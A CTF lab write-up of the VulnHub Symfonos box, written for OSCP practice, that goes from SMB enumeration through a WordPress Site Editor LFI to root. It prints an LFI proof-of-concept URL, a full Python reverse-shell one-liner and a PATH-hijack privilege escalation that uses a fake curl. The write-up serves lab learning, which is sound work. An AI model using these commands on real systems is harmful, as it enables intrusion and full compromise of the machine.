Symfonos Box from VulnHub

This box is from the TJ NULL list for OSCP preparation. Gaining the initial vector was easy through SMB. The attack followed the following steps:

  • Enumeration through SMB – anonymous login
  • Gaining access to user’s account through SMB
  • Enumerating the WordPress site
  • Found the “Upload Directory has listing enabled”.
  • Found Siteeditor vulnerabilty for LFI
  • Gained initial access
  • PATH exploit for privelege escalation

Let’s first start with the Nmap scan. I perform autorecon by Tib3rius. The quick TCP Nmap scan performed by autorecon can be seen below.

# Nmap 7.92 scan initiated Tue Mar 29 20:18:20 2022 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -oN /home/kali/VulnHuB/Symfonos/results/10.0.2.16/scans/_quick_tcp_nmap.txt -oX /home/kali/VulnHuB/Symfonos/results/10.0.2.16/scans/xml/_quick_tcp_nmap.xml 10.0.2.16
Nmap scan report for 10.0.2.16
Host is up, received arp-response (0.00032s latency).
Scanned at 2022-03-29 20:18:20 EDT for 50s
Not shown: 995 closed tcp ports (reset)
PORT    STATE SERVICE     REASON         VERSION
22/tcp  open  ssh         syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
25/tcp  open  smtp        syn-ack ttl 64 Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp  open  http        syn-ack ttl 64 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
139/tcp open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack ttl 64 Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:5E:DC:8D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9

Uptime guess: 198.841 days (since Sun Sep 12 00:07:36 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts:  symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel


TRACEROUTE
HOP RTT     ADDRESS
1   0.32 ms 10.0.2.16

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 29 20:19:10 2022 -- 1 IP address (1 host up) scanned in 51.07 seconds

We can see 5 open ports.

  • Port 22 – SSH
  • Port 25 – SMTP
  • Port 80 – HTTP
  • Port 139 – Samba
  • Port 445 – Samba

Further through the autorecon results, we can see SMB has anonymous login allowed.

Let’s access the anonymous share.

smbclient \\\\10.0.2.16\\anonymous -U anonymous

We can see there is an attention.txt. That looks juicey.

We can guess the staff are using weak passwords and this was the reminder for staff. Let’s spray this password for user helios ( found from enum4linux script) . ‘qwerty’ provides us access to the helios share.

We can see research.txt and todo.txt. Content of research.txt was irrelevant but todo.txt contained the hidden web directory.

Now accessing HTTP:///h3l105 took us to the Wordpress website.

Now we can run wpscan on this website. -e for enumeration, vp - vulnerable plugins , u -users

wpscan --url http://10.0.2.16/h3l105 -e vp,u

We found something interesting. Upon further enumeration, we can see site-editor.

There is a site-editor LFI vulnerability in the WordPress website. ( I have done a similar box before) .

By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.

** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd 

We were successful to get the LFI and can access /etc/passwd.

http://10.0.2.16/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Now, this is where I got stuck. And I started looking for a way to convert LFI to RCE. Spent a few hours and came across Refabrik Notes about SMTP. Where we can leverage the LFI to gain RCE using the email server. Followed his steps. He also mentioned that we can access this email from /var/mail/ValidUserHere . I inserted the PHP code with the help of which we can perform arbitrary code execution.

When we access that email through LFI from WordPress. We can provide a cmd query and the action will be performed. So I provided the python reverse-shell script, which provided me with a shell. My reverse shell cmd is below.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Now I started looking around the file system if I can find some passwords or binary. I started from the /opt folder and boom found a red setuid binary.

Upon running this binary, it looks like it gives us the GET response. So I looked at the binary and found that it runs curl but the absolute path is not defined for curl. We can exploit this to gain shell.

For any command that is not built into the shell or that is not defined with an absolute path, Linux will start searching in folders defined under PATH. Now I updated a new path /tmp which is writable by the helios user.

export PATH=/tmp:$PATH

So after updating the path, we also need to create a fake application curl, which when run by root will provide us with shell.For this go to /tmp and type following.

echo "/bin/sh" > curl
chmod 777 curl

What this does is, when we run statuscheck, it wants to run curl. So it looks in the first path which is /tmp and runs the curl from /tmp. As this statuscheck is run by high privilege, it will run the shell inside that task, which will provide us root access.